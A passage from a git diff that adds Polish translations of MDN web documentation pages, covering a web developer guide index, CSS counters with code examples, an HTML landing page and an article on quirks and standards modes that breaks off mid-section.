+&lt;p id="editMode"&gt;&lt;input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /&gt; &lt;label for="switchBox"&gt;Show HTML&lt;/label&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<div class="note"><strong>Note:</strong> if you want to see how to standardize the creation and the insertion of your editor in your page, please see our <a class="internal" href="/@api/deki/files/6243/=rich-text-editor.zip" title="rich-text-editor.zip">more complete rich-text editor example</a>.</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li>The {{htmlattrxref("contenteditable")}} global attribute</li>
+ <li><a href="/en-US/docs/Mozilla/Projects/Midas">Midas</a> (the scriptable text editor component)</li>
+ <li>{{cssxref("caret-color")}}, which lets you set the color of the text insertion caret</li>
+</ul>
diff --git a/files/pl/web/guide/index.html b/files/pl/web/guide/index.html
new file mode 100644
index 0000000000..33786c5980
--- /dev/null
+++ b/files/pl/web/guide/index.html
@@ -0,0 +1,55 @@
+---
+title: Podręcznik web developera
+slug: Web/Guide
+tags:
+ - podręcznik
+ - sieć
+translation_of: Web/Guide
+---
+<p><strong><font><font>W tym artykule przedstawiono informacje o sposobie korzystania z określonych technologii i interfejsów API.</font></font></strong></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="/pl/docs/Learn/HTML">HTML</a></dt>
+ <dd class="landingPageList"><strong>Hipertekstowy język znaczników (<em>ang. HyperText Markup Language - HTML</em>)</strong> jest podstawowym językiem niemal wszystkich treści internetowych. Większość tego, co widzisz w przeglądarce jest opisane zasadniczo przy użyciu HTML.</dd>
+ <dt class="landingPageList"><a href="/pl/docs/Learn/CSS">CSS</a></dt>
+ <dd class="landingPageList"><strong>Kaskadowe arkusze stylów (<em>ang. Cascading Style Sheets - CSS</em>)</strong> to język używany do opisu prezentacji dokumetu napisanego w HTML.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Events">Zdarzenia</a></dt>
+ <dd class="landingPageList">Zdarzenia odnoszą się zarówno do wzorców projektowych używanych do asynchronicznej obsługi różnych incydentów występujących w czasie życia strony internetowej jak i do nazywania, charakteryzowania  i stosowania dużej ilości incydentów różnego rodzaju.</dd>
+ <dt class="landingPageList"><a href="/pl/docs/Web/Guide/AJAX">AJAX</a></dt>
+ <dd class="landingPageList">AJAX jest pojęciem odnoszącym się do grupy technologii, umożliwiającym aplikacjom szybkie, stopniowe aktualizowanie interfejsu użytkownika, bez przeładowywania całej strony przegladarki. Czyni to aplikacje szybszymi i lepiej reagującymi na działania użytkownika.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Graphics">Grafika internetowa</a></dt>
+ <dd class="landingPageList">Nowoczesne strony internetowe i aplikacje często muszą prezentować grafike o różnym wyrafinowaniu.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/API">Przewodnik po internetowych interfejsach API</a></dt>
+ <dd class="landingPageList">Wykaz wszystkich internetowych internfejsów API i wyjaśnienie do czego służą.</dd>
+ <dt><a href="https://developer.mozilla.org/pl/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></dt>
+ <dd>JavaScript to potężny język skryptowy używany do tworzenia aplikacji internetowych.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Localizations_and_character_encodings">Lokalizacje i kodowanie znaków</a></dt>
+ <dd class="landingPageList">Przeglądarki przetwarzają wewnętrznie tekst jako Unicode. Jednak, dla transferu tekstu przez sieć do przegladarki stosuje się różne kodowanie znaków, polegajace na reprezentacji znaków w postaci bajtów, co jest uwarunkowane językiem treści (lokalizacją).  <a class="external external-icon" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/semantics.html#charset">Specyfikacja HTML zaleca używanie kodowania UTF-8</a> (które reprezentuje cały Unicode) i niezależnie od użytego kodowania, deklarowanie kodowania w metadanych dokumentu HTML.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Mobile">Tworznie mobilnych stron i aplikacji</a></dt>
+ <dd class="landingPageList">Ta strona omawia kilka głównych technik stosowanych przy tworzeniu stron internetowych , które dobrze wyglądają i działają na urzadzeniach mobilnych. Jeżeli szukasz informacji o projekcie Firefox OS Mozillii, zobacz stronę <a href="https://developer.mozilla.org/en/Mozilla/Firefox_OS" title="Boot to Gecko">Firefox OS</a> . Interesująca może być też dla Ciebie strona o <a href="https://developer.mozilla.org/en/Mozilla/Firefox_for_Android">Firefox dla Android</a>.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Performance">Optymalizacja i wydajność</a></dt>
+ <dd class="landingPageList">Podczas tworzenia nowoczesnych aplikacji internetowych i stron jest ważne, aby działały one szybko i sprawnie. Pozwala to na efektywność zarówno na systemach dektopowych jak i urządzeniach przenośnych.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Parsing_and_serializing_XML">Parsowanie i serializowanie XML</a></dt>
+ <dd class="landingPageList">Ta platforma internetowa opisuje różne metody parsowania i serializowania dokumentów XML, z których każd ma swoje zalety i wady.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/WOFF">Otwarty internetowy format czcionki (Web Open Font Format - WOFF)</a></dt>
+ <dd class="landingPageList"><strong>WOFF</strong> (<strong>Web Open Font Format</strong>) to format czcionki, który jest bezpłatny dla każdego uzytkownika internetu.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/Using_FormData_Objects">Stosowanie obiektów FormData</a></dt>
+ <dd class="landingPageList">Obiekt <a href="https://developer.mozilla.org/en/DOM/XMLHttpRequest/FormData"><code>FormData</code></a> pozwala skompilować zestaw par klucz-wartość do wysłania przy użyciu <code>XMLHttpRequest</code>. Jest przeznaczony głównie do wysyłania danych formularzy, ale można go wykorzystać również do transmisji danych z kluczami poza formularzami. Transmisja odbywa się w tym samym formacie co metoda <code>submit()</code>  formularzy, stosowaną gdy typ kodowania w formularza jest ustawiony na "multipart/form-data".</dd>
+ <dt class="landingPageList"><a href="/pl/docs/Glossary">Słownik</a></dt>
+ <dd class="landingPageList">Podaje definicje wielu pojęć związanych z siecią web i Internetem.</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/Reference" title="/en-US/docs/Web/Reference">Informator web dewelopera</a></li>
+</ul>
diff --git a/files/pl/web/guide/liczniki_css/index.html b/files/pl/web/guide/liczniki_css/index.html
new file mode 100644
index 0000000000..3c494e6af3
--- /dev/null
+++ b/files/pl/web/guide/liczniki_css/index.html
@@ -0,0 +1,86 @@
+---
+title: Liczniki CSS
+slug: Web/Guide/Liczniki_CSS
+tags:
+ - CSS
+ - Wszystkie_kategorie
+translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters
+---
+<p> </p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Liczniki w CSS zostały opisane w sekcji <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#counters">Automatic counters and numbering</a> dokumentacji CSS 2.1. Wartość licznika jest ustawiana poprzez użycie własności <a href="pl/CSS/counter-reset">counter-reset</a> oraz <a href="pl/CSS/counter-increment">counter-increment</a>, natomiast wyświetlana jest przy wykorzystaniu funkcji counter() lub counters() należących do własności <a href="pl/CSS/content">content</a>.</p>
+
+<h3 id="Zastosowanie_licznik.C3.B3w" name="Zastosowanie_licznik.C3.B3w">Zastosowanie liczników</h3>
+
+<p>Aby użyć licznika CSS, należy najpierw ustawić mu wartość (domyślnie jest to 0) przy pomocy własności <a href="pl/CSS/counter-reset">reset</a>. Aby wyświetlić wartość licznika w danym elemencie należy skorzystać z funkcji counter(). Poniższy przykład dodaje na początku każdego elementu <code>h1</code> "Sekcja <code>wartość licznika</code>:".</p>
+
+<pre> body {
+ counter-reset: sekcja; /* Ustawienie licznika sekcja na 0 */
+ }
+ h1::before {
+ counter-increment: sekcja; /* Zwiększa licznik sekcja */
+ content: "Sekcja " counter(sekcja) ": "; /* Wyświetla licznik */
+ }
+</pre>
+
+<h3 id="Zagnie.C5.BCd.C5.BCanie_licznik.C3.B3w" name="Zagnie.C5.BCd.C5.BCanie_licznik.C3.B3w">Zagnieżdżanie liczników</h3>
+
+<p>Liczniki CSS mogą być szczególnie użyteczne przy listach uporządkowanych (<code>ol</code>), ponieważ nowa instancja licznika CSS jest automatycznie tworzona dla potomków danego elementu. Użycie funkcji counters() pozwala na dodanie ciągu znaków, który będzie oddzielał kolejne poziomy zagnieżdżonych liczników:</p>
+
+<pre> ol {
+ counter-reset: sekcja; /* Tworzy nową instancję licznika
+ sekcja w każdym elemencie ol */
+ list-style-type: none; /* Usuwa domyślnie wyświetlany licznik */
+ }
+ li::before {
+ counter-increment: sekcja; /* Zwiększa tylko tę instancję
+ licznika sekcja */
+ content: counters(sekcja, ".") " "; /* Wyświetla wartości wszystkich
+ instancji licznika sekcja,
+ oddzielając je ciągiem ".". */
+ }
+</pre>
+
+<p>Przykładowy HTML (w komentarzach podano wartość wygenerowanego licznika):</p>
+
+<pre>&lt;ol&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 1 --&gt;
+ &lt;li&gt;item &lt;!-- 2 --&gt;
+ &lt;ol&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.1 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.2 --&gt;
+ &lt;li&gt;item &lt;!-- 2.3 --&gt;
+ &lt;ol&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.3.1 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.3.2 --&gt;
+ &lt;/ol&gt;
+ &lt;ol&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.3.1 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.3.2 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.3.3 --&gt;
+ &lt;/ol&gt;
+ &lt;/li&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.4 --&gt;
+ &lt;/ol&gt;
+ &lt;/li&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 3 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 4 --&gt;
+&lt;/ol&gt;
+&lt;ol&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 1 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2 --&gt;
+&lt;/ol&gt;
+</pre>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><a href="pl/CSS/counter-reset">counter-reset</a></li>
+ <li><a href="pl/CSS/counter-increment">counter-increment</a></li>
+</ul>
+
+<p><span class="comment">potrzebna treść do artykułu</span></p>
+
+<p>{{ languages( { "en": "en/CSS_Counters", "fr": "fr/Compteurs_CSS" } ) }}</p>
diff --git a/files/pl/web/guide/performance/index.html b/files/pl/web/guide/performance/index.html
new file mode 100644
index 0000000000..00c4b9d7fe
--- /dev/null
+++ b/files/pl/web/guide/performance/index.html
@@ -0,0 +1,14 @@
+---
+title: Optimization and performance
+slug: Web/Guide/Performance
+tags:
+ - Landing
+ - NeedsTranslation
+ - Optimization
+ - Performance
+ - TopicStub
+ - Web
+translation_of: Web/Guide/Performance
+---
+<p>When building modern Web apps and sites, it's important to make your content perform well. That is, to make it work quickly and efficiently. This lets it work effectively both for users of powerful desktop systems as well as for handheld devices with less power.</p>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/pl/web/html(pl)/index.html b/files/pl/web/html(pl)/index.html
new file mode 100644
index 0000000000..2bc10ea70b
--- /dev/null
+++ b/files/pl/web/html(pl)/index.html
@@ -0,0 +1,108 @@
+---
+title: 'HTML: Hipertekstowy Język Znaczników'
+slug: Web/HTML(PL)
+tags:
+ - HTML
+ - HTML5
+ - Landing
+ - Web
+ - 'l10n:priority'
+translation_of: Web/HTML
+---
+<div>{{HTMLSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>HTML</strong> (HyperText Markup Language) jest najbardziej podstawowym elementem składowym sieci Web. Definiuje on znaczenie i strukturę treści stron internetowych. Inne technologie poza HTML są używane do opisu wyglądu/prezentacji strony internetowej (<a href="https://developer.mozilla.org/pl/docs/Web/CSS">CSS</a>) lub funkcjonalności/zachowania (<a href="https://developer.mozilla.org/pl/docs/Web/JavaScript">JavaScript</a>).</span></p>
+
+<p>"Hipertekst" (HyperText) odnosi się do linków łączących ze sobą strony internetowe, zarówno w obrębie jednej strony internetowej, jak i pomiędzy różnymi stronami internetowymi. Linki są podstawowym aspektem sieci Web. Umieszczając treści w Internecie i linkując je do stron stworzonych przez inne osoby, stajesz się aktywnym uczestnikiem sieci World Wide Web.</p>
+
+<p>HTML używa "znaczników" do opisywania tekstu, obrazów i innych treści do wyświetlania w przeglądarce internetowej. Znacznik HTML zawiera specjalne "elementy", takie jak {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}} i wiele innych.</p>
+
+<p>Element HTML jest odróżniany od zwykłego tekstu w dokumencie za pomocą "tagów", które składają się z nazwy elementu otoczonego przez "&lt;" oraz "&gt;". Nazwa elementu wewnątrz znacznika nie rozróżnia wielkości liter. Oznacza to, że może być napisana wielkimi, małymi lub zmieszanymi literami. Na przykład tag <strong>&lt;title&gt;</strong> może być zapisany jako &lt;Title&gt;,&lt;TITLE&gt; lub w inny sposób.</p>
+
+<p>Poniższe artykuły pomogą Ci dowiedzieć się więcej o HTML.</p>
+
+<section class="cleared" id="sect1">
+<ul class="card-grid">
+ <li><span>Wprowadzenie do HTML</span>
+
+ <p>Jeśli dopiero rozpoczynasz tworzenie stron internetowych, zapoznaj się z naszym artykułem <a href="https://developer.mozilla.org/pl/docs/Learn/Getting_started_with_the_web/HTML_basics">Podstawy HTML</a>, aby dowiedzieć się czym jest HTML i jak go używać.</p>
+ </li>
+ <li><span>Poradniki HTML</span>
+ <p>Aby zapoznać się z artykułami o tym jak korzystać z HTML, jak również z samouczkami i kompletnymi przykładami, sprawdź naszą <a href="https://developer.mozilla.org/pl/docs/Learn/HTML">Strefę Nauki HTML</a>.</p>
+ </li>
+ <li><span>Odniesienia HTML</span>
+ <p>W naszej obszernej sekcji <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Reference">Odniesienia HTML</a>, znajdziesz szczegóły dotyczące każdego elementu i atrybutu w HTML.</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Tools" id="Poradniki_dla_początkujących">Poradniki dla początkujących</h2>
+
+<p>Nasza <a href="https://developer.mozilla.org/pl/docs/Learn/HTML">Strefa Nauki HTML</a> zawiera wiele modułów, które uczą HTML od podstaw - nie jest wymagana wcześniejsza wiedza.</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Introduction_to_HTML">Wprowadzenie do HTML</a></dt>
+ <dd>Ten moduł jest etapem, który pozwala przyzwyczaić się do ważnych pojęć i składni, takich jak spojrzenie na zastosowanie HTML dla tekstu, jak tworzyć hiperłącza i jak używać HTML do strukturyzacji strony internetowej.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Multimedia_and_embedding">Multimedia i osadzanie</a></dt>
+ <dd>Moduł ten wyjaśnia jak używać HTML do umieszczania multimediów na stronach internetowych, w tym różnych sposobów na dodawanie obrazów oraz osadzanie wideo, audio, a nawet całych innych stron internetowych.</dd>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Tables">Tabele HTML</a></dt>
+ <dd>Przedstawienie danych tabelarycznych na stronie internetowej w zrozumiały i dostępny sposób może być wyzwaniem. Moduł ten obejmuje podstawowe znaczniki tabelaryczne wraz z bardziej złożonymi funkcjami, takimi jak implementacja podpisów i podsumowań.</dd>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Forms">Formularze HTML</a></dt>
+ <dd>Formularze są bardzo ważną częścią sieci Web — zapewniają one wiele funkcji potrzebnych do interakcji z witrynami internetowymi, np. rejestracja i logowanie, wysyłanie opinii, kupowanie produktów i wiele więcej. Ten moduł przygotuje Cię do rozpoczęcia tworzenia części formularzy po stronie klienta/front-end.</dd>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Howto">Użyj HTML do rozwiązywania częstych problemów</a></dt>
+ <dd>Zawiera linki do sekcji wyjaśniających, jak używać HTML do rozwiązywania bardzo powszechnych problemów przy tworzeniu strony internetowej: radzenie sobie z tytułami, dodawanie zdjęć lub filmów, podkreślanie treści, tworzenie podstawowej formy, itp.</dd>
+</dl>
+
+<h2 id="Zaawansowane_zagadnienia">Zaawansowane zagadnienia</h2>
+
+<dl>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/CORS_enabled_image">CORS z włączoną funkcją obrazów</a></dt>
+ <dd class="landingPageList">Atrybut {{htmlattrxref("crossorigin", "img")}}, w połączeniu z odpowiednim nagłówkiem {{glossary("CORS")}}, pozwala na ładowanie obrazów zdefiniowanych przez element {{HTMLElement("img")}} z innych źródeł i używanie ich w elemencie {{HTMLElement("canvas")}} tak, jakby były ładowane z lokalnego źródła.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/CORS_settings_attributes">Ustawienia atrybutów CORS</a></dt>
+ <dd class="landingPageList">Niektóre elementy HTML, które zapewniają wsparcie dla <a href="https://developer.mozilla.org/pl/docs/Web/HTTP/CORS">CORS</a>, takie jak {{HTMLElement("img")}} lub {{HTMLElement("video")}}, posiadają atrybut <code>crossorigin</code> (właściwość <code>crossOrigin</code>), który umożliwia konfigurację żądań CORS dla wczytywanych przez ten element danych.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/API/Document/hasFocus">Zarządzanie metodą focus w HTML</a></dt>
+ <dd class="landingPageList">Atrybut <code><a href="https://developer.mozilla.org/pl/docs/Web/API/DocumentOrShadowRoot/activeElement">activeElement</a></code> w DOM i metoda <code><a href="https://developer.mozilla.org/pl/docs/Web/API/Document/hasFocus">hasFocus()</a></code> w DOM pomagają śledzić i kontrolować interakcje użytkownika z elementami na stronie internetowej.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Zasoby_offline_w_Firefoksie">Korzystanie z pamięci podręcznej aplikacji</a></dt>
+ <dd class="landingPageList">Buforowanie aplikacji umożliwia uruchamianie aplikacji internetowych w trybie offline. Możesz użyć interfejsu <strong>Application Cache</strong> (<em>AppCache</em>) aby określić zasoby, które przeglądarka powinna buforować i udostępniać użytkownikom offline. Aplikacje, które są buforowane i działają poprawnie, nawet jeśli użytkownicy kliknęli przycisk odświeżania, gdy są w trybie offline.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Preloading_content">Wstępne ładowanie treści z rel="preload"</a></dt>
+ <dd class="landingPageList">Wartość <code>preload</code> atrybutu {{htmlattrxref("rel", "link")}} elementu {{htmlelement("link")}} pozwala na pisanie deklaratywnych żądań pobrania w sekcji {{htmlelement("head")}} dokumentu HTML, określając zasoby, które strony będą potrzebowały bardzo szybko po załadowaniu, których w związku z tym chcesz rozpocząć ładowanie od razu na początku cyklu życia strony, zanim uruchomi się główna maszyna renderująca w przeglądarce. Dzięki temu są one dostępne wcześniej i istnieje mniejsze ryzyko zablokowania pierwszego renderu strony, co prowadzi do poprawy wydajności. Ten artykuł zawiera podstawowy przewodnik po tym, jak działa <code>ładowanie wstępne</code>.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Odniesienia">Odniesienia</h2>
+
+<dl>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Reference">Odniesienia HTML</a></dt>
+ <dd class="landingPageList">HTML składa się z elementów, z których każdy może być modyfikowany przez pewną liczbę atrybutów. Dokumenty HTML są ze sobą połączone <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Link_types">linkami</a>.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element">Odniesienia do elementów HTML</a></dt>
+ <dd class="landingPageList">Przeglądaj listę wszystkich {{glossary("Element", "elementów")}} {{glossary("HTML")}}.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Attributes">Odniesienia do atrybutów HTML</a></dt>
+ <dd class="landingPageList">Elementy w HTML mają <strong>atrybuty</strong>. Są to dodatkowe wartości, które konfigurują elementy lub dostosowują ich zachowanie na różne sposoby.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">Atrybuty globalne</a></dt>
+ <dd class="landingPageList">Atrybuty globalne mogą być definiowane na wszystkich <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element">elementach HTML</a>, <em>nawet tych, które nie zostały określone w standardzie</em>. Oznacza to, że wszelkie niestandardowe elementy muszą nadal zezwalać na te atrybuty, nawet jeśli elementy te sprawiają, że dokument jest niezgodny z HTML5.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Elementy_liniowe">Elementy inline</a> oraz <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Elementy_blokowe">Elementy block-level</a></dt>
+ <dd class="landingPageList">Elementy HTML są zazwyczaj elementami "inline" lub "block-level". Element inline zajmuje tylko przestrzeń ograniczoną znacznikami, które go definiują. Element block-level zajmuje całą przestrzeń elementu nadrzędnego (kontenera), tworząc w ten sposób "blok".</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Link_types">Rodzaje odnośników</a></dt>
+ <dd class="landingPageList">W HTML, różne typy linków mogą być użyte do nawiązania i zdefiniowania relacji pomiędzy dwoma dokumentami. Elementy odnośników, na których można ustawiać typy to {{HTMLElement("a")}}, {{HTMLElement("area")}} oraz {{HTMLElement("link")}}.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Supported_media_formats">Formaty multimedialne obsługiwane przez elementy audio i wideo</a></dt>
+ <dd class="landingPageList">Elementy {{HTMLElement("audio")}} oraz {{HTMLElement("video")}} umożliwiają odtwarzanie multimediów audio i wideo. Elementy te stanowią alternatywę dla podobnych funkcji w Adobe Flash i innych wtyczkach.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Rodzaje treści w HTML</a></dt>
+ <dd class="landingPageList">HTML składa się z kilku rodzajów treści, z których każda może być używana w określonych kontekstach, a w innych jest niedozwolona. Podobnie, każda z nich posiada zestaw innych kategorii zawartości, które mogą zawierać oraz elementy, które mogą lub nie mogą być w nich użyte. To jest przewodnik po tych kategoriach.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Tryb Quirks oraz tryb standardów</a></dt>
+ <dd class="landingPageList">Historyczne informacje o trybie quirks i trybie standardów.</dd>
+</dl>
+
+<h2 class="landingPageList" id="Tematy_powiązane">Tematy powiązane</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Applying_color">Zastosowanie koloru do elementów HTML przy użyciu CSS</a></dt>
+ <dd>W tym artykule omówiono większość sposobów na użycie CSS w celu dodania kolorów do zawartości HTML, wymieniając które części dokumentów HTML mogą być kolorowane i jakie właściwości CSS mogą być do tego użyte. Zawiera przykłady, odnośniki do narzędzi do budowania palet i wiele innych.</dd>
+</dl>
+</div>
+</div>
+<span class="alllinks"><a href="https://developer.mozilla.org/pl/docs/tag/HTML">Zobacz wszystkie...</a></span></section>
diff --git a/files/pl/web/html(pl)/tryb_zgodnosci_oraz_tryb_standardow/index.html b/files/pl/web/html(pl)/tryb_zgodnosci_oraz_tryb_standardow/index.html
new file mode 100644
index 0000000000..72018a6571
--- /dev/null
+++ b/files/pl/web/html(pl)/tryb_zgodnosci_oraz_tryb_standardow/index.html
@@ -0,0 +1,54 @@
+---
+title: Tryb Zgodności (Quirks Mode) i Tryb Standardów
+slug: Web/HTML(PL)/Tryb_Zgodnosci_oraz_Tryb_Standardow
+tags:
+ - Gecko
+ - Guide
+ - HTML
+ - NeedsUpdate
+ - Web Development
+ - Web Standards
+ - XHTML
+translation_of: Web/HTML/Quirks_Mode_and_Standards_Mode
+---
+<p>W dawnych czasach strony internetowe zwykle pisane były w dwóch wersjach: Jedna dla Netscape Navigator i jedna dla Microsoft Internet Explorer. Kiedy standardy sieciowe były tworzone w W3C, przeglądarki nie mogły po prostu zacząć z nich korzystać, ponieważ w ten sposób zniszczyłyby większość istniejących stron internetowych. W związku z tym przeglądarki wprowadziły dwa tryby traktowania nowych witryn zgodnych ze standardami w inny sposób niż witryn starej generacji.</p>
+
+<p>Obecnie w przeglądarkach internetowych stosowane są trzy tryby pracy silników układu graficznego: tryb zgodności (tryb quirks), tryb prawie standardowy oraz tryb pełnego standardu. W <strong>trybie zgodności</strong> układ emuluje niestandardowe zachowanie w Navigator 4 i Internet Explorer 5. Jest to niezbędne do obsługi stron internetowych, które powstały przed powszechnym przyjęciem standardów internetowych. W <strong>trybie pełnych standardów</strong>, zachowanie jest (miejmy nadzieję) zachowaniem opisanym przez specyfikacje HTML i CSS. W <strong>trybie prawie standardowym</strong> zaimplementowana jest bardzo mała liczba kompatybilności.</p>
+
+<h2 id="How_does_Mozilla_determine_which_mode_to_use.3F" name="How_does_Mozilla_determine_which_mode_to_use.3F">Jak przeglądarki decydują, z którego trybu korzystać?</h2>
+
+<p>W przypadku dokumentów <a href="https://developer.mozilla.org/pl/docs/Web/HTML(PL)" title="/en-US/docs/HTML">HTML</a>, przeglądarki używają DOCTYPE na początku dokumentu, aby zdecydować, czy obsługiwać go w trybie zgodności, czy też w trybie standardów. Aby zagwarantować, że strona korzysta z trybu pełnego standardu, upewnij się że strona ma DOCTYPE, tak jak w tym przykładzie:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="pl"&gt;
+ &lt;head&gt;
+ &lt;meta charset="UTF-8"&gt;
+ &lt;title&gt;Witaj, Świecie!&lt;/title&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>DOCTYPE pokazany w przykładzie, <code>&lt;!DOCTYPE html&gt;</code>, jest najprostrzy z możliwych i zalecany przez HTML5. Wcześniejsze wersje standardu HTML zalecały inne warianty, ale wszystkie istniejące obecnie przeglądarki będą korzystały z trybu pełnego standardu dla DOCTYPE, nawet z przestarzałego Internet Explorera 6. Nie ma uzasadnionych powodów, aby używać bardziej skomplikowanego DOCTYPE. Jeśli używasz innego DOCTYPE, możesz być narażony na ryzyko wybrania takiego, który uruchamia prawie standardowy tryb lub tryb zgodności.</p>
+
+<p>Upewnij się, że umieścisz DOCTYPE bezpośrednio na początku dokumentu HTML. Wszystko przed DOCTYPE, takie jak komentarz czy deklaracja XML, wyzwoli tryb zgodnści w Internet Explorerze 9 i starszych.</p>
+
+<p>W HTML5, jedynym celem DOCTYPE jest aktywowanie trybu pełnego standardu. Starsze wersje standardu HTML nadawały dodatkowe znaczenie DOCTYPE, ale żadna przeglądarka nie używała DOCTYPE do innych celów niż przełączanie pomiędzy trybem zgodności a trybem standardów.</p>
+
+<p>Zobacz również szczegółowy opis tego, <a class="external" href="http://hsivonen.iki.fi/doctype/" title="http://hsivonen.iki.fi/doctype/">kiedy różne przeglądarki wybierają różne tryby pracy</a>.</p>
+
+<h3 id="XHTML">XHTML</h3>
+
+<p>Jeśli podajesz swoją stronę jako <a href="https://developer.mozilla.org/pl/docs/XHTML" title="XHTML">XHTML</a> używając <code>application/xhtml+xml</code> MIME type w <code>Content-Type</code> HTTP header, nie potrzebujesz DOCTYPE, aby włączyć tryb standardów. Należy jednak pamiętać, że podawanie stron jako <code>application/xhtml+xml</code> spowoduje, że Internet Explorer 8 <a href="/en-US/docs/XHTML#Support" title="XHTML">wyświetli okno dialogowe pobierania</a> nieznanego formatu zamiast wyświetlania strony, ponieważ pierwszą wersją Internet Explorera z obsługą XHTML jest Internet Explorer 9.</p>
+
+<p>Jeśli tworzysz treści w formacie XHTML używając <code>text/html</code> MIME type, przeglądarki przeczytają je jako HTML i będziesz potrzebował DOCTYPE do korzystania z trybu standardów.</p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">Jak sprawdzić, który tryb jest używany?</h2>
+
